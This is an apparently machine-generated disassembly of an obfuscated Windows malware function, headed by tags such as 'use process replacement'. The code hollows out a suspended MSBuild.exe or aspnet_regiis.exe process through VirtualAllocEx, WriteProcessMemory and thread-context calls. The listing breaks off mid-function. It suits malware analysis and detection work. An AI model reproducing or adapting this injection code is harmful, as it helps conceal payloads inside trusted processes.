Function at 0x10002ae0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xe0
mov eax, dword [0x100d3800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xe8], 0xe711aad7
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0xec], eax
sub eax, 0x8048108f
je 0x100034d5
jmp 0x10002b1c
mov eax, dword [ebp - 0xec]
sub eax, 0x80a1d2b7
je 0x10004679
jmp 0x10002b32
mov eax, dword [ebp - 0xec]
sub eax, 0x84538999
je 0x1000421e
jmp 0x10002b48
mov eax, dword [ebp - 0xec]
sub eax, 0x84675689
je 0x1000488d
jmp 0x10002b5e
mov eax, dword [ebp - 0xec]
sub eax, 0x87ae0ffb
je 0x10004464
jmp 0x10002b74
mov eax, dword [ebp - 0xec]
sub eax, 0x890715e0
je 0x10003d20
jmp 0x10002b8a
mov eax, dword [ebp - 0xec]
sub eax, 0x91b09e8b
je 0x1000385e
jmp 0x10002ba0
mov eax, dword [ebp - 0xec]
sub eax, 0x924bc239
je 0x100039de
jmp 0x10002bb6
mov eax, dword [ebp - 0xec]
sub eax, 0x9304481d
je 0x10004261
jmp 0x10002bcc
mov eax, dword [ebp - 0xec]
sub eax, 0x95554697
je 0x10003d2f
jmp 0x10002be2
mov eax, dword [ebp - 0xec]
sub eax, 0x97a19730
je 0x10003c8f
jmp 0x10002bf8
mov eax, dword [ebp - 0xec]
sub eax, 0x9825ad9d
je 0x10003ed7
jmp 0x10002c0e
mov eax, dword [ebp - 0xec]
sub eax, 0x99082e0c
je 0x1000359c
jmp 0x10002c24
mov eax, dword [ebp - 0xec]
sub eax, 0x9b2ae6ee
je 0x1000466a
jmp 0x10002c3a
mov eax, dword [ebp - 0xec]
sub eax, 0x9b96a77f
je 0x10003eba
jmp 0x10002c50
mov eax, dword [ebp - 0xec]
sub eax, 0x9cb8893c
je 0x10003b1b
jmp 0x10002c66
mov eax, dword [ebp - 0xec]
sub eax, 0x9f1d9b4f
je 0x1000483e
jmp 0x10002c7c
mov eax, dword [ebp - 0xec]
sub eax, 0x9f636ccd
je 0x100036cf
jmp 0x10002c92
mov eax, dword [ebp - 0xec]
sub eax, 0xa1691637
je 0x10003e31
jmp 0x10002ca8
mov eax, dword [ebp - 0xec]
sub eax, 0xa5750a40
je 0x10004007
jmp 0x10002cbe
mov eax, dword [ebp - 0xec]
sub eax, 0xa7c9b50d
je 0x10003e08
jmp 0x10002cd4
mov eax, dword [ebp - 0xec]
sub eax, 0xad8081cc
je 0x10003f38
jmp 0x10002cea
mov eax, dword [ebp - 0xec]
sub eax, 0xada1fcf7
je 0x1000482f
jmp 0x10002d00
mov eax, dword [ebp - 0xec]
sub eax, 0xb03d15b3
je 0x10004859
jmp 0x10002d16
mov eax, dword [ebp - 0xec]
sub eax, 0xbaf53d1e
je 0x100035c8
jmp 0x10002d2c
mov eax, dword [ebp - 0xec]
sub eax, 0xc259aa18
je 0x100045cc
jmp 0x10002d42
mov eax, dword [ebp - 0xec]
sub eax, 0xc52f10f5
je 0x100044da
jmp 0x10002d58
mov eax, dword [ebp - 0xec]
sub eax, 0xc72dd58e
je 0x10003cad
jmp 0x10002d6e
mov eax, dword [ebp - 0xec]
sub eax, 0xc8323ada
je 0x10003579
jmp 0x10002d84
mov eax, dword [ebp - 0xec]
sub eax, 0xcbf1d9cd
je 0x1000452b
jmp 0x10002d9a
mov eax, dword [ebp - 0xec]
sub eax, 0xcc2eaa73
je 0x1000408c
jmp 0x10002db0
mov eax, dword [ebp - 0xec]
sub eax, 0xcc537587
je 0x100039cf
jmp 0x10002dc6
mov eax, dword [ebp - 0xec]
sub eax, 0xccf20120
je 0x10003544
jmp 0x10002ddc
mov eax, dword [ebp - 0xec]
sub eax, 0xdc318654
je 0x10004637
jmp 0x10002df2
mov eax, dword [ebp - 0xec]
sub eax, 0xe2ac2dde
je 0x10004147
jmp 0x10002e08
mov eax, dword [ebp - 0xec]
sub eax, 0xe3772c0a
je 0x1000430e
jmp 0x10002e1e
mov eax, dword [ebp - 0xec]
sub eax, 0xe5ac9a8d
je 0x1000496d
jmp 0x10002e34
mov eax, dword [ebp - 0xec]
sub eax, 0xe711aad7
je 0x10003335
jmp 0x10002e4a
mov eax, dword [ebp - 0xec]
sub eax, 0xe9150326
je 0x10003e17
jmp 0x10002e60
mov eax, dword [ebp - 0xec]
sub eax, 0xe9cae978
je 0x100036fc
jmp 0x10002e76
mov eax, dword [ebp - 0xec]
sub eax, 0xea5e120e
je 0x10004628
jmp 0x10002e8c
mov eax, dword [ebp - 0xec]
sub eax, 0xebe90e8e
je 0x10003cd8
jmp 0x10002ea2
mov eax, dword [ebp - 0xec]
sub eax, 0xec229565
je 0x1000374a
jmp 0x10002eb8
mov eax, dword [ebp - 0xec]
sub eax, 0xeeade63f
je 0x10003356
jmp 0x10002ece
mov eax, dword [ebp - 0xec]
sub eax, 0xf3f47d42
je 0x10003a2c
jmp 0x10002ee4
mov eax, dword [ebp - 0xec]
sub eax, 0xf436daa2
je 0x10003e69
jmp 0x10002efa
mov eax, dword [ebp - 0xec]
sub eax, 0xfa8b4bb5
je 0x100049b1
jmp 0x10002f10
mov eax, dword [ebp - 0xec]
sub eax, 0xfc0364f0
je 0x10004016
jmp 0x10002f26
mov eax, dword [ebp - 0xec]
sub eax, 0xfd3e062c
je 0x10003c3c
jmp 0x10002f3c
mov eax, dword [ebp - 0xec]
sub eax, 0x7e1ad90
je 0x10004561
jmp 0x10002f52
mov eax, dword [ebp - 0xec]
sub eax, 0xe026410
je 0x10003f89
jmp 0x10002f68
mov eax, dword [ebp - 0xec]
sub eax, 0xea458b8
je 0x100035b9
jmp 0x10002f7e
mov eax, dword [ebp - 0xec]
sub eax, 0xf1d4ee5
je 0x100038a7
jmp 0x10002f94
mov eax, dword [ebp - 0xec]
sub eax, 0x106a2316
je 0x10003901
jmp 0x10002faa
mov eax, dword [ebp - 0xec]
sub eax, 0x149b5a37
je 0x100043f5
jmp 0x10002fc0
mov eax, dword [ebp - 0xec]
sub eax, 0x16e6749d
je 0x10003e83
jmp 0x10002fd6
mov eax, dword [ebp - 0xec]
sub eax, 0x1b7ffab7
je 0x100048bd
jmp 0x10002fec
mov eax, dword [ebp - 0xec]
sub eax, 0x1bfb890c
je 0x100041b6
jmp 0x10003002
mov eax, dword [ebp - 0xec]
sub eax, 0x1c4bad41
je 0x10004455
jmp 0x10003018
mov eax, dword [ebp - 0xec]
sub eax, 0x1c92b7d5
je 0x10003eab
jmp 0x1000302e
mov eax, dword [ebp - 0xec]
sub eax, 0x238abc28
je 0x10004127
jmp 0x10003044
mov eax, dword [ebp - 0xec]
sub eax, 0x2639d6d2
je 0x10003da5
jmp 0x1000305a
mov eax, dword [ebp - 0xec]
sub eax, 0x27412180
je 0x100049f0
jmp 0x10003070
mov eax, dword [ebp - 0xec]
sub eax, 0x2754fc08
je 0x1000457b
jmp 0x10003086
mov eax, dword [ebp - 0xec]
sub eax, 0x28c7510a
je 0x10003477
push eax
mov eax, esp
mov dword [ebp - 0xe0], eax
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0xe8], 0xeeade63f
jmp 0x10004b11
push eax
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0xd8], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0xd4], eax
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
sub esp, 0x1c
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0xa8], eax
push eax
mov eax, esp
mov dword [ebp - 0xa4], eax
push eax
mov eax, esp
mov dword [ebp - 0xa0], eax
push eax
mov eax, esp
mov dword [ebp - 0x9c], eax
push eax
mov eax, esp
mov dword [ebp - 0x98], eax
push eax
mov eax, esp
mov dword [ebp - 0x94], eax
push eax
mov eax, esp
mov dword [ebp - 0x90], eax
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xbb800
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xe4], eax
mov eax, dword [ebp - 0xe4]
movzx edx, word [eax]
mov eax, 0x698a58be
mov ecx, 0x7bd3ad5b
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0xe8], eax
jmp 0x10004b11
mov eax, dword [ebp - 0xd8]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10005b20
add esp, 0xc
mov eax, dword [ebp - 0xd4]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10005b20
add esp, 0xc
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x60
mov dword [ebp - 0x84], eax
mov dword [ebp - 0xe8], 0xccf20120
jmp 0x10004b11
mov eax, dword [ebp - 0x84]
cmp dword [eax + 0x70], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0xd0]
mov byte [eax], cl
mov eax, dword [ebp - 0xcc]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov dword [ebp - 0xe8], 0xc8323ada
jmp 0x10004b11
mov eax, dword [ebp - 0xd0]
mov dl, byte [eax]
mov eax, 0x99082e0c
mov ecx, 0xbaf53d1e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xe8], eax
jmp 0x10004b11
mov eax, dword [ebp - 0xcc]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0xe8], 0xea458b8
jmp 0x10004b11
mov dword [ebp - 0xe8], 0xbaf53d1e
jmp 0x10004b11
mov eax, dword [0x100d4b38]
mov ecx, dword [0x100d4b34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1b7ffab7
mov ecx, 0x46abefa7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xe8], eax
jmp 0x10004b11
mov dword [ebp - 0xe8], 0x39c12d25
jmp 0x10004b11
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0xe0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0xe8], 0xec229565
jmp 0x10004b11
mov eax, dword [ebp - 0x7c]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd8]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov edx, eax
mov eax, 0x9f1d9b4f
mov ecx, 0x47beecee
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xe8], eax
jmp 0x10004b11
mov eax, dword [0x100d4b38]
mov ecx, dword [0x100d4b34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x29aa5b40
mov ecx, 0xf1d4ee5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xe8], eax
jmp 0x10004b11
mov eax, dword [ebp - 0xc4]
cmp dword [eax], 0
sete al
and al, 1
mov byte [ebp - 0x75], al
mov eax, dword [0x100d4b38]
mov ecx, dword [0x100d4b34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x29aa5b40
mov ecx, 0x106a2316
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xe8], eax
jmp 0x10004b11
mov dl, byte [ebp - 0x75]
mov eax, 0xf3f47d42
mov ecx, 0x39791cb0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xe8], eax
jmp 0x10004b11
mov dword [ebp - 0xe8], 0x924bc239
jmp 0x10004b11
mov eax, dword [ebp - 0xd8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x74]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xc4]
mov dword [eax], ecx
mov dword [ebp - 0xe8], 0xf3f47d42
jmp 0x10004b11
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0xc4]
mov edx, dword [edx]
mov esi, dword [ebp - 0xd8]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xe4]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0xb8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
sub eax, 0x715f8166
add eax, 0x18
add eax, 0x715f8166
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0xe8], 0x3ec5b14b
jmp 0x10004b11
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0xe8], 0x5bef6d5a
jmp 0x10004b11
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb8]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xa8]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0xc]
mov edx, dword [ebp - 0xb8]
mov edx, dword [edx]
mov esi, dword [ebp - 0xa8]
imul esi, dword [esi], 0x28
add edx, esi
mov esi, dword [edx + 0x10]
xor edx, edx
sub edx, esi
sub ecx, edx
cmp eax, ecx
setbe al
and al, 1
mov byte [ebp - 0x59], al
mov dword [ebp - 0xe8], 0x97a19730
jmp 0x10004b11
mov dl, byte [ebp - 0x59]
mov eax, 0x890715e0
mov ecx, 0xc72dd58e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xe8], eax
jmp 0x10004b11
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xa8]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov dword [ebp - 0x54], eax
mov dword [ebp - 0xe8], 0xebe90e8e
jmp 0x10004b11
mov eax, dword [ebp - 0x54]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x58]
add ecx, eax
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov edx, dword [ebp - 0xb8]
mov edx, dword [edx]
mov esi, dword [ebp - 0xa8]
imul esi, dword [esi], 0x28
add edx, esi
mov esi, dword [edx + 0xc]
xor edx, edx
sub edx, esi
add eax, edx
add ecx, eax
mov eax, dword [ebp - 0xb0]
mov dword [eax], ecx
mov dword [ebp - 0xe8], 0x890715e0
jmp 0x10004b11
mov dword [ebp - 0xe8], 0x95554697
jmp 0x10004b11
mov ecx, dword [0x100d4b38]
mov eax, dword [0x100d4b34]
mov edx, ecx
add edx, 0xeb3f5fe4
sub edx, 1
sub edx, 0xeb3f5fe4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2f5476f2
mov ecx, 0x2639d6d2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xe8], eax
jmp 0x10004b11
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, 1
sub eax, ecx
mov dword [ebp - 0x50], eax
mov eax, dword [0x100d4b38]
mov ecx, dword [0x100d4b34]
mov edx, eax
sub edx, 0x92e2c99a
sub edx, 1
add edx, 0x92e2c99a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2f5476f2
mov ecx, 0xa7c9b50d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xe8], eax
jmp 0x10004b11
mov dword [ebp - 0xe8], 0xe9150326
jmp 0x10004b11
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0x50]
mov dword [eax], ecx
mov dword [ebp - 0xe8], 0x9cb8893c
jmp 0x10004b11
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0xe8], 0x364e35a1
jmp 0x10004b11
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0xe8], 0x16e6749d
jmp 0x10004b11
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov esi, dword [eax + 0x34]
mov edx, dword [ebp - 0x48]
mov eax, 0x80a1d2b7
mov ecx, 0x1c92b7d5
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0xe8], eax
jmp 0x10004b11
mov dword [ebp - 0xe8], 0x9b96a77f
jmp 0x10004b11
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0xe8], 0x9825ad9d
jmp 0x10004b11
mov edx, dword [ebp - 0x44]
mov eax, 0x9b2ae6ee
mov ecx, 0x5a3fe370
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xe8], eax
jmp 0x10004b11
mov eax, dword [0x100d4b38]
mov ecx, dword [0x100d4b34]
mov edx, eax
sub edx, 0x75c53cc9
sub edx, 1
add edx, 0x75c53cc9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe5ac9a8d
mov ecx, 0xe026410
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xe8], eax
jmp 0x10004b11
mov eax, dword [ebp - 0xc4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov edx, dword [eax + 0x34]
xor eax, eax
sub eax, edx
add ecx, eax
mov eax, dword [ebp - 0x9c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x98]
mov dword [eax], 0
mov eax, dword [0x100d4b38]
mov ecx, dword [0x100d4b34]
mov edx, eax
sub edx, 0xb38b703
sub edx, 1
add edx, 0xb38b703
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe5ac9a8d
mov ecx, 0xa5750a40
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xe8], eax
jmp 0x10004b11
mov dword [ebp - 0xe8], 0xfc0364f0
jmp 0x10004b11
mov ecx, dword [0x100d4b38]
mov eax, dword [0x100d4b34]
mov edx, ecx
add edx, 0x2a649cd6
sub edx, 1
sub edx, 0x2a649cd6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfa8b4bb5
mov ecx, 0xcc2eaa73
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xe8], eax
jmp 0x10004b11
mov eax, dword [ebp - 0x98]
mov eax, dword [eax]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
mov ecx, dword [0x100d4b38]
mov eax, dword [0x100d4b34]
mov edx, ecx
sub edx, 0xc3b473a0
sub edx, 1
add edx, 0xc3b473a0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfa8b4bb5
mov ecx, 0x6c382a2e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xe8], eax
jmp 0x10004b11
mov edx, dword [ebp - 0x40]
mov esi, dword [ebp - 0x3c]
mov eax, 0x2754fc08
mov ecx, 0xe2ac2dde
cmp edx, esi
cmovb eax, ecx
mov dword [ebp - 0xe8], eax
jmp 0x10004b11
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x98]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*2]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0xe8], 0x6a0725ae
jmp 0x10004b11
mov ecx, dword [ebp - 0x38]
mov edx, 0xffffffff
xor edx, 0xf000
mov eax, ecx
xor eax, edx
and eax, ecx
cmp eax, 3
sete al
and al, 1
mov byte [ebp - 0x31], al
mov eax, dword [0x100d4b38]
mov ecx, dword [0x100d4b34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2b32a226
mov ecx, 0x84538999
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xe8], eax
jmp 0x10004b11
mov dl, byte [ebp - 0x31]
mov eax, 0x87ae0ffb
mov ecx, 0x28e19b92
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xe8], eax
jmp 0x10004b11
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x30]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax]
mov edx, dword [ebp - 0x98]
mov edx, dword [edx]
movzx edx, word [eax + edx*2]
xor edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xfff
mov eax, 0xffffffff
xor eax, 0x12ec6d7f
or edx, esi
or eax, 0x12ec6d7f
xor edx, 0xffffffff
and edx, eax
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x94]
mov dword [eax], ecx
mov eax, dword [ebp - 0x94]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xd8]
mov edx, dword [eax]
mov eax, dword [ebp - 0x90]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, eax
mov eax, 0x1c4bad41
mov ecx, 0xe3772c0a
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xe8], eax
jmp 0x10004b11
mov eax, dword [ebp - 0x9c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x90]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x90]
mov dword [eax], ecx
mov eax, dword [ebp - 0x94]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xd8]
mov edx, dword [eax]
mov eax, dword [ebp - 0x90]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0xe8], 0x62d9662f
jmp 0x10004b11
mov eax, dword [0x100d4b38]
mov ecx, dword [0x100d4b34]
mov edx, eax
add edx, 0x373e8430
sub edx, 1
sub edx, 0x373e8430
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x27412180
mov ecx, 0x41e5b245
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xe8], eax
jmp 0x10004b11
mov dword [ebp - 0xe8], 0x87ae0ffb
jmp 0x10004b11
mov ecx, dword [0x100d4b38]
mov eax, dword [0x100d4b34]
mov edx, ecx
sub edx, 0x9ac178d7
sub edx, 1
add edx, 0x9ac178d7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x322d4c3a
mov ecx, 0xc52f10f5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xe8], eax
jmp 0x10004b11
mov eax, dword [0x100d4b38]
mov ecx, dword [0x100d4b34]
mov edx, eax
add edx, 0x9a2ddee5
sub edx, 1
sub edx, 0x9a2ddee5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x322d4c3a
mov ecx, 0xcbf1d9cd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xe8], eax
jmp 0x10004b11
mov dword [ebp - 0xe8], 0x639d495d
jmp 0x10004b11
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x28]
mov dword [eax], ecx
mov dword [ebp - 0xe8], 0xfc0364f0
jmp 0x10004b11
mov eax, dword [0x100d4b38]
mov ecx, dword [0x100d4b34]
mov edx, eax
add edx, 0x1d1d48b7
sub edx, 1
sub edx, 0x1d1d48b7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4bdc5f05
mov ecx, 0xc259aa18
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xe8], eax
jmp 0x10004b11
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
mov eax, dword [0x100d4b38]
mov ecx, dword [0x100d4b34]
mov edx, eax
add edx, 0x944c54d9
sub edx, 1
sub edx, 0x944c54d9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4bdc5f05
mov ecx, 0xea5e120e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xe8], eax
jmp 0x10004b11
mov dword [ebp - 0xe8], 0xdc318654
jmp 0x10004b11
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov edx, dword [eax + 4]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xb0]
mov dword [eax], ecx
mov dword [ebp - 0xe8], 0x9b96a77f
jmp 0x10004b11
mov dword [ebp - 0xe8], 0x80a1d2b7
jmp 0x10004b11
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x1c
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov eax, dword [eax + 0xa4]
xor ecx, ecx
sub ecx, 8
sub eax, ecx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0xe8], 0x5bb9e41c
jmp 0x10004b11
mov dword [ebp - 0xe8], 0x9f1d9b4f
jmp 0x10004b11
mov eax, dword [ebp - 0xd8]
add eax, 4
mov dword [ebp - 0x18], eax
mov dword [ebp - 0xe8], 0xb03d15b3
jmp 0x10004b11
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
